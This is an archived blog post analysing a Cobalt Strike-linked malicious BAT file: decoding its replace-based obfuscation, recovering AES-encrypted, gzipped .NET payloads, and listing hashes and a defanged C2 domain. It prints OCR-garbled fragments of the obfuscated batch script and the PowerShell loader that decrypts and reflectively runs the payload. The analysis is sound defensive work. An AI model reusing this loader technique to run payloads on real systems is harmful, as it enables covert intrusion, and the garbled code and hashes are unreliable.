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Malware Analysis — Cobalt Strike

By O0xMrMagnezi

Published: 2024-02-29 - Archived: 2026-04-05 13:54:07 UTC

Cobalt Strike is a versatile tool for Red Team operations and penetration testing. However, threat actors also use it
for malicious activities like establishing covert communication, conducting post-exploitation tasks, moving

laterally across networks, crafting and delivering weaponized payloads, and executing social engineering attacks.
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Database Entry

Inteligence EH 10Cs v File information Comments
SHA256 hash: [ 2cb66a08113b4514dc43b85T 06660202 792422 140859 bd 26838626 ad: 20262
SHA3-384 hash: [ b7 7el5 2804601267 3e 0089600 206 Teli TO66c4601Te bed 1 de2960:20T0: T 3006 flade 821 ThOete 2162 TellbadbbTd
SHAT hash: 0f0b3efbeTe3fi6668364d059e0b682b1 204ifhe
MD5 hash: D 4d1a54002dc18583a86068132e55bacf4
humanhash: rmarch-nuts-nuis-kitten
File nama: rep bat
Dowenload: B download sample
Signature @ [
Flle size: . 233'613 bytes
Flrst seen: 2024-02-27 22:55:34 UTC
Lozt seen: Never
File type: & bat

Figure 1: Malware Bazaar sample

After downloading and extracting the zip file, two sections were observed in the BAT file. The first section
contained two chunks of Base64-encoded code, as shown in Figure 2. It was suspected that these might be a
Base64-encoded file, but decoding them did not yield any results. The second section appeared to utilize a simple

replace obfuscation, as shown in Figure 3.

Press enter or click to view image in full size

1 Cfecho off A

2 setlocal enabledelayedexpansion

3  set "daPkPE=setCxVtt qQzCxVtLYz=CxVttl CxVLLE&ECXVLL SCxVLLtarCxVELTtCxVit "CkVLL™CxVtt /CxVitmCxVttinCxwtt Cxvtt”

4 set "VFQDBo=&& CXWLtexCxVLtitCxvet"

5 set "grRLTT=notCxVEt dCxVEtefiCxVtnedCxVit CRVELQZCAVELYCXVLLZCRVEL

€ Af SQrRITT:CXVtE=% (%daPkPE:CXVEt=1%0 WWFQDBo:CXVEt=%)

T ::WPUT8/TE8cdmnUnpWEb0gdDs4BTYYYsmklKECDPERLALNE 7+Knt564re 9+U18yw+yATCZTANOBP51 IChOX2UKVXzCz 38 IreEhw] 811PED3kEATCRDCpS BLNTGOE 2p +oBpnuTbz jAvpOyaDa2ohX1RT35Tm3 /Eul K
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uaT2j40du7/ £Qp/£OYQUE. OVGBEVALi kbXUHXSVEBILE OXOTELBE + JGmFSJ £y DBr7WISEDN+P93dwgDs 6J3KPKAEY PMONKVE30£K] § 4r1d=TIppmEK2 g4 X  QkSWKAAH +I20pg3UAC
+yTOrv01vipizvd RE D10VIIL YUIDZZafEUegC2Q2TEYZiZiXQOtAN 4 1U3GK12x+BhU: ggZe0Tt2TYqKZHCQIX8 1 r2+K3I5G3EKAKEL Ty 1ho
0D} QGEWIHO B04dL1n1WKYhLSg $oD0Nx Y3421 45/ 3B6X6b4 ] 22X 5P Jooi ORUZGy E4X+
Aqx15Rasz0fsEqTmlBxA 3L ypscahZ/Col § £ FNBFUVESR1ZHT {ATMbp TWBbCuCEE687a2wFds tVo3T1hnn 3xv! 1200 66Y 1 cmMO1 3
mmmkvzoSqﬂfnhq]v6vﬂvQ]6Bugiﬂ:=1‘y293q'n/cUSyInwhnzﬂupﬂp?nﬁldpﬁaqhﬁﬂﬂnwﬂﬁz/SGngi.mzb'l‘Hnolv-tfdpnvawhoh,'!ur]FnTJelNuO]thg[?qu
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1> i Jlu3fked AQOOB11 | /WPGGEEYSSGL0235B6e2 7B1pGRIFML HMVE Ib 4G04E93 ] FENEETBVRQbYOC
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AE2dwYb70/r2g0WT02DHELiphHbTwIGVIEKTnes 6102/ USX 2R/ LbF4 nbx RAFXWYOPCWI TKM] j EFCTJUC]/ FQNOQEESAT T 22QThIhoRE] FATAKE1 rVRVQQzTOTRISILGLXYRIA0+
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Figure 2: First section of the original BAT file
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.eCxVrtxecxvL!

set "txfIES=WinfRVTTHOWCKHVELS PCXVE CoWCHVECRrCAVELShCAVETe LOXVECLACRVECVCRVELL . tOCKVEC\PCXVELOCKVEwC RV E e rCaVELsheCkVE L1 ICKVE
set JIxXIL=C: \WL‘)dous\SysWDﬁi‘\ztx[I}:s‘Cs:'v"

if not exist SIEx¥ILE (set J XHEL=4 JEXUEL: Sy sWOWG4=Systend2i)

12 set nogam u e Tb o T =" CHUE T IRV E L2 CRY L OV T B CH VT L KT LaCH VL 2R eV EE ECRVETHEHVT | CHVECRECKVEEDLCRVELACKYETCCHVEESCHVEE (! SRV ERCRVEED

AVELLCKVLLNgCXVELorCXVELXFCRVIL . CxU’\:(RECx\rc:plcx\lr_tacervn\:('Cx'.
"CXVTL'}, CRVEL "L TITCRVE Ty TdXERVE L
*CHVTTICXVEIL) , CXVET ' CICRVTT FArRY ychvunacxvttwcxxﬂ;[ VLT £ VT LRGCHUT L& ECXVE LCAVE CRERVE L ERCAVT 13 ECXVE EARCRVETLEXVE L CRVE L] ECKVE CARCXVETASCHVET S EACKVETRLICRVET {CHVETARERVEL
O3CHVEELACKVEERCRVEERCRVET] SCXVETACKUELRCKVET | . CRVETRECHVEER1aCRVELECKVTTE (CXVEE " J ICRVELARCRYLE ',

CaVET® ' CRVEE) CRVEE , CRVEL ! GV EECTACAVE EHICAVE LGCUCKYEEARC AV mcx\l::g:xvu‘.:cxv!.nk'-.x\’»:mgcx\lu:ccw\‘..nw‘tx\' EanCKVEEARCHVE TICX L EECAVE CARCRYE LIGCRY SEPECKVETACRVEEmG Y

ToCxY VL EHERY XVELH : CRVEL ' CRVES. pERVEEL T (" ACKVE hng (CaVET

CHVELTTCXVIE), CXVETRCHVETEMACAVE reaCxV::anCthmtuut»tLb'”xv::MC:VI’.:A:C»U&Snbcxvl»H.h‘cx\ir.tesncx\f"t“.n:c‘x‘-’»t CRVEE . RCXVETERICKVELACCKVELe (' CVETONACKVELICAVES  CAVET

TICRVEE), CRVEE ' COUKVELKCRVETTOCKVE EACKVEERCRVEEYKCAVE L TOCRVEETOCKVEERTOCRVE LA, CHVEERECKVELSCAVEL 1ACCRVEEE (CHVEE  KTCRVELOCKVELACKVEL

CRVETTT) EAVET, PBCRVE TR TRV L VT LR YRRV LRV L POV Y PRV X ECRVE L P Y CRVE L OCA VS £ RaCRVE L PCRY LT O AV S A CAVEE CECRVEEY | CRVLT  CHVETRCAVE EepCaVETICRVE TACRVE R CCRVE e (CRVLE ' RECRY
TTRCRVTTY ' CRVEE,

CaVet CaVee ') CaVee, Cavet ' CxVitlr LT Ler g TR ! 5 T
LUCKYLE 'CXVEL . RCKVELeCRVEtplaCAVELCeCKVEL {CRVLL 'BCAVELGUAVELOUCRVEL ', CaVLL
*CXVEL' ) , CRVEE ' DOXVELECKVELCCAVELIWBCRVE EQOMCAVE L GURVE EWCRVE EDGCKVE L PICRVEEQUTRY!
(EXVEL! qERVETWhCRVEE' CXVEE,

T ERVETEWCKVETTg " CrVTe, CXVET

BRECKVEESqUORVELbQICAVEEGEAVEEWDACKVEL ' . CXVELRCAVE LepCXVEL LaCKVEECECRVE S

LacxVtteeCaVis (" vERVEERBCAVELR  CaVES,

CRVYEL'CaVEL ') CaVEt, Cavit ' ECaVE s XYL ERBCRVEL: LCRVLE

CaVLE 'CaVEL) , CaVEL' CAVLLSICAVELECAVELQIpCAVELLiCAVLE CAVELIECKVE LA FCAVELRCAVELICRVEL | CRVEL  RCXVELepOAVE LCRVttacTEVEte (CaVEL " ECAVEL FCAVELOCRVELITRVE S, CaVLE

'CxVEL'), CRVEL "MOXVELEOXVELGRYCRVE L icxvt JHVELRCRVETYTRVE VL ERCRVE Ly rQUAVEEKYCRVEELE q ¥ =t xVELy ' CRVEL.R

CRVERepCRNEE] CRVETACECHVES (' TCRVER GKORVERYCRVET ' CxVEL,

CEVETCXVEE ' CXVEE) CXVET, CXVEL' CXVETTDICKVEE CRVETICRVETTan BDIiCKVEL)SCAVETEhCRVEEDI jCRVETOrCRV T NG 1§ FCRVEThDIiCAVEEjCXVETiNCRVETAbCKY T ED] JCAVEE 1 CRVETBBOKVE LOCKVET

ICKAVELICAVER1CAVELoCAVE thDICHVEE I chCAVE SDACRVLE I CaVELCAVEEhDICRVEL] | . CAVELRCAVE teCaVEtplaChVitoCavite :cw::‘bcxvc;mcxvct; §CavE

' CXVET) CRVET: CRVEEDOWCKVEterCxVEL shOxVeteloxvet]l CrVit-w icxve CXVEEECRVETUCKVEENCRVEECE CxV: cx

HQCKVETRCXVETED {CAVETSKTCXVE T ZURCHVEE) CXVEE { $OXVE L1 XmCRV T t IASCKVEE [ SYCKVT LS TCXVETemCAVET . SECKVETCUCKYE T L CXVE T LY . CXVE L OOV LTI CXVE Ty PECRVE COGCXVE T ICXVETaCKVECPhYCRVEE . ACKVETE ST

wEt]icavete ICHVETRACKVTICRVECACHVET () CHVET CHVELE i CRVETRMICKVETH. CXVETHOCKV T TdeCKVETRCHVEE [ SyCKVE TS TCAVETECHVETM. SCRVETACH WFCHVETiTYCHVTT.CORVEDIYCRVELPCRVETE

VtioCHVTIgraCxVttphyCrVLL, CiCXVETPCRVEthCAVE LeCRV L LEMOCKVEEdeCRVEE ] t CRVEL : CECKVELC; CRVELSCAVE L LImCKVE L ICRVE RdCRVED , PaCKVEtddCHVE L ENCRVE EGmCAVEL [ SyCKVELSCAVELTeCHVE L, CXVELSRCRY

tteCxveturi XVELYCRVEL. CICXVITYPCXVELLOCKVELGraCVE LRCRVELhY . CRVELPadCHVECdCKVEL inCRVELMCXVE LOCKVECdeCRYEL] £ 1 CXVELPRCRVEL TCHVEL: SICRVTLHm ICKVELACKVEL . CXVELEC

XVTreyCxVEts [SCRVETYCRVELaCRVETtenCuVet . ColRVETnCxVEIVeICxVEt | CRVEE 1 CxVEL 1CxXVET [CXVETSECRVELPGORVELE [CXVETICHVEE]) (CrVEt ' Cxvte: YUCEVE YCXVETUCKVETE

VLT OV L+ ACHV T T L 3O VT LB O XV L L0 ATV T T S CXV LT 2OHV T L Y L CreC XV E LA KEC KV L L0 ECXVE TR CHVE T fCXVE T 20KV LECKVE TLECKVELA=CHVEL

|CXVTT) JCHVECSiCRVELIMICKYETd. ICHVECVSCKVIE [ CXVETSCHVTLyCHVITSCRVET TeCKVT LICKVET . COCRVETH LTPTCXVET)CHVIT: CHVEL ICRVET (SCHVTTBECKVETQECAVET [CXVITL]CXVEE) (CHVET ECXVITWBECKVT

EMCRVETWCRVEL LuCRV L ICRV L CoRCXVECHCRVE CCRUCKVE LTPRCKVE TV CKVE Eg=CXVET=" CXVET) CXVEL ; CRVECSOCXVELRXCVTLVE =5iCHVELAMCRVLITACKVEE . CXVET (CXVELSECXVELECRVEIEG L (CXVELE]CxVEL) (Cx

Vet sy XVt te= ErgCRvT [1cxvericxvee))exvee | te | CaveTo, T tem. Cxve

LCHVETECRUE T CAVETACKVET ) ; CXVEE SORCKVETRVECKUTT - DICAVE T DOCKVE SECKVTT () CXVET # SCXNEE LXMCRVET [CRVETe CXVEEDLCRVEE SHOCKVT T 38 (CRVET) § SCHVE LB AR CRYE TUR; CXVET | IEXVELURCRVETETCRVET

1ENCHVET ICHVCTATACEVETY (CHVTSCHVITKCHVETTZCRVETURCKVET) {CHVE ESMECKVTLBCA e WCEVET-OCHVTTECHVET]2eCRVET

CAVECSCHVEEVSCHVEELEnCHVLE. TOCKVEL  CVE MCHVE LemCHYELorCAVE EVCRVE LS LECRYCLECHVEEamCRVEE 1, CRVELSCHVL ERTCHVEE ZCXVELUmCKVEL ) J CAVEE SCAVE EBTCAVEL 2T FCHVE L =CAVE EHEMC RVEE-OCHVE L eCAVE ¥
Batchtic Tenggh: 213613 _lnes: 16 Ln:7 Coli2iS300 Pos:215620 Windowa (CRLE)_ UTES ns

Figure 3: Marking what looked like replacing “CxVtt” with NULL

The second section contained additional instances of the replace function. Consequently, the cleaning process was
continued using it. This part of the code seemed to decrypt something using AES encryption and decompress it

using Gzip, as illustrated in Figure 4.
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.Replace('', ''),'FromBase6dString'.Replace('', ''),'Load'.Replace('’, ''},'ChangeExtension'.Replace('', ''},'GetCurrentProcess’.Replace!('",
,'ReadLines’.Replace('', ''},'CopyTe’.Replace("’, ''),'EntryPoint’.Replace('', ''),'CreateDecryptor'.Replace('', ''), 'Decompress'.Replace('",

i 'r, 'ElementAt' .Replace('', b '}, 'sSplit'.Replace('", ''},"MainModule'.Replace('', ''),'TransformFinalBlock'.Replace('', ''};powershell -w hidden;

KgNBp ($XTzum)

[System.Security.cryptography.hes] : :Create ()
System.Security.Cryptography.CipherMode) : :CBC;
ng=[system.Security.Cryptography.FaddingMode] : : FKCST;

System.Convert]:: ($PPYE[1]} ("WSUywOHh%pFYUBLB+ALN3E0E 052 fmne KEDZQLE2GLE4=") 7
9 $ixmId. Iv=[System.Convert]:: (SPPYf(1]) ('EWbCmwlu?CONHChUTENVEg==") ;

1AmIg. (yPear (eIT 1+

SORXVE. ($PPYE (131} (EXTZum, 0, $XT2um. Length) ;

.Dispose():

Dispose ()7

bject System. I0.Compression.GZipStream(SmtBCn, [I0.Compression.CompressionMode

=[System.IO.File]:: (§PPGE[5]) ([Console)::Title):
an..u IhtAY (KgNBp ([Convert ($PPQL(11) ([System.Ling.Enumerable ($PPQL101) ($slmhd, 5).Substring(2)))):

4
6

7 |$8Y=g -Thm" {KgHBEp {[ConVe*r.] 3 (SPP@L (1)) ([System.Ling.Enumerable) : : (SPPQE(10]) ($slmhd, €).Substring(2))));
g 5

g

SP“gf[ZJ ) ([byte[]]§5Yxgc) . £5Fqu[7]} (SEPgL(0]) ($null, Snull) i

Figure 4: After Cleaning of the 2nd part

It was decided to attempt using CyberChef to decrypt what was suspected to be another dropped file.
Subsequently, it was confirmed that the suspicion was correct, and the dropped files were successfully extracted,

as illustrated in Figure 5.
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Figure 5: Using the AES Key+IV and Gunzip on the Base64 code , which resulted an EXE file

The extracted files were both written in .NET, allowing for debugging in DNSPY. During debugging, additional

memory manipulation was observed, leading to the suspicion that there might be another hidden file.

Press enter or click to view image in full size

ray retumed

Figure 6: Embedding Resource

Observing the array in memory confirmed my suspicion. It was observed that the memory started with the header

“1F 8B,” indicating a Gzip file as shown in Figure 7.
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Figure 7: Finding the embedded file inside the memory

For the last time I used CyberChef to Decompress as shown in Figure 8.
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Figure 8: Extracting embedded EXE file

At that point, a decision was made to execute the file and gather some artifacts and IOCs. As shown below, an
EXE embedded in the running process was successfully dumped.
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Figure 9: Dumping EXE from running process

The network traffic was encrypted, so the combination of inetsim + Fiddler was used to follow the requests
without the risk of being infected.
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Inetsim is an open-source tool for simulating internet services like HTTP, DNS, and FTP. It helps observe

malware behavior without connecting to real servers, reducing infection risks.

Fiddler is a web debugging proxy tool that logs and modifies HTTP/HTTPS traffic. It decrypts HTTPS traffic with

a root certificate.

Using inetsim with Fiddler allows to safely intercept and analyze encrypted network traffic, gaining insights into

malware communication and payloads without risking infection.
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Figure 10: Analyzing network traffic using the combination of Fiddler + inetsim

I0Cs:

e origin.bat — 4d1a54992dc1883a86069182e55bccf4
e outl.exe — c58f43348436a19ca37a676b477a137f
e out2.exe — 8d8fe14374cb94fe10070d9591fea3bb
e 4000.exe — 30d2256f99c9dc5e6846838f655fae34

e pickilish[.]Jcom

In conclusion, a sample linked to Cobalt Strike was dissected. The process involved decoding Base64-encoded
sections and unraveling obfuscation. AES encryption and Gzip compression were used to conceal and deploy
malicious payloads. Tools like CyberChef and DNSPY were instrumental in extracting and examining the dropped
files. Further investigation uncovered hidden files embedded in memory confirming the sophisticated nature of the

malware. This comprehensive analysis demonstrates the complexity and stealth of threats associated with Cobalt
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Strike, emphasizing the importance of robust cybersecurity measures to detect and mitigate such threats

effectively.

Source: https://medium.com/@b.magnezi/malware-analysis-cobalt-strike-92ef02b35ae0
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